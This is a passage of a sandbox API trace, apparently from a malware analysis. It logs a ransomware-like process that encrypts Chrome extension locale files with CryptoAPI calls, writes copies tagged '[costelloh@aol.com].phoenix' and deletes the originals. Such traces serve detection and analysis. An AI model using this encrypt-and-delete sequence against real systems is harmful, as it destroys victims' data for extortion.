	[0255.781] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json")) returned 1
	[0255.783] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0255.783] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0255.783] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=264) returned 1
	[0255.783] CloseHandle (hObject=0x300) returned 1
	[0255.784] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json")) returned 0x20
	[0255.784] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.784] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0255.784] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0255.784] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0255.784] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0255.785] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151640) returned 1
	[0255.785] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0255.785] ReadFile (in: hFile=0x300, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x108, lpOverlapped=0x0) returned 1
	[0255.786] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110, dwBufLen=0x110 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110) returned 1
	[0255.786] WriteFile (in: hFile=0x2b4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x110, lpOverlapped=0x0) returned 1
	[0255.787] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151780) returned 1
	[0255.787] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0255.787] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0255.787] CryptDestroyKey (hKey=0x151780) returned 1
	[0255.787] WriteFile (in: hFile=0x2b4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0255.788] CryptDestroyKey (hKey=0x151640) returned 1
	[0255.788] CloseHandle (hObject=0x300) returned 1
	[0255.788] CloseHandle (hObject=0x2b4) returned 1
	[0255.788] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json")) returned 1
	[0255.789] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0255.789] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0255.790] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=207) returned 1
	[0255.790] CloseHandle (hObject=0x2b4) returned 1
	[0255.790] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json")) returned 0x20
	[0255.790] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.790] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0255.790] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0255.790] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0255.790] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0255.791] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151340) returned 1
	[0255.791] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0255.791] ReadFile (in: hFile=0x2b4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xcf, lpOverlapped=0x0) returned 1
	[0255.792] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xd0, dwBufLen=0xd0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xd0) returned 1
	[0255.792] WriteFile (in: hFile=0x300, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xd0, lpOverlapped=0x0) returned 1
	[0255.793] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151640) returned 1
	[0255.793] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0255.793] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0255.793] CryptDestroyKey (hKey=0x151640) returned 1
	[0255.793] WriteFile (in: hFile=0x300, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0255.793] CryptDestroyKey (hKey=0x151340) returned 1
	[0255.793] CloseHandle (hObject=0x2b4) returned 1
	[0255.793] CloseHandle (hObject=0x300) returned 1
	[0255.793] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json")) returned 1
	[0255.794] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0255.795] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0255.795] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=222) returned 1
	[0255.795] CloseHandle (hObject=0x300) returned 1
	[0255.795] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json")) returned 0x20
	[0255.795] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.795] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0255.795] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0255.796] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0255.796] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0255.796] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151480) returned 1
	[0255.796] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0255.796] ReadFile (in: hFile=0x300, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xde, lpOverlapped=0x0) returned 1
	[0255.797] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xe0, dwBufLen=0xe0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xe0) returned 1
	[0255.797] WriteFile (in: hFile=0x2b4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xe0, lpOverlapped=0x0) returned 1
	[0255.798] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151340) returned 1
	[0255.798] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0255.798] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0255.798] CryptDestroyKey (hKey=0x151340) returned 1
	[0255.799] WriteFile (in: hFile=0x2b4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0255.799] CryptDestroyKey (hKey=0x151480) returned 1
	[0255.799] CloseHandle (hObject=0x300) returned 1
	[0255.799] CloseHandle (hObject=0x2b4) returned 1
	[0255.799] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json")) returned 1
	[0255.801] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0255.801] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0255.801] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=216) returned 1
	[0255.801] CloseHandle (hObject=0x2b4) returned 1
	[0255.801] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json")) returned 0x20
	[0255.801] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.802] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0255.802] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0255.802] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0255.802] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0255.802] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151340) returned 1
	[0255.802] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0255.802] ReadFile (in: hFile=0x2b4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xd8, lpOverlapped=0x0) returned 1
	[0255.803] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xe0, dwBufLen=0xe0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xe0) returned 1
	[0255.804] WriteFile (in: hFile=0x300, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xe0, lpOverlapped=0x0) returned 1
	[0255.805] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151640) returned 1
	[0255.805] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0255.805] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0255.805] CryptDestroyKey (hKey=0x151640) returned 1
	[0255.805] WriteFile (in: hFile=0x300, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0255.805] CryptDestroyKey (hKey=0x151340) returned 1
	[0255.805] CloseHandle (hObject=0x2b4) returned 1
	[0255.805] CloseHandle (hObject=0x300) returned 1
	[0255.805] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json")) returned 1
	[0255.806] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0255.806] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0255.807] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=217) returned 1
	[0255.807] CloseHandle (hObject=0x300) returned 1
	[0255.807] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json")) returned 0x20
	[0255.807] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.807] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0255.807] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0255.807] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
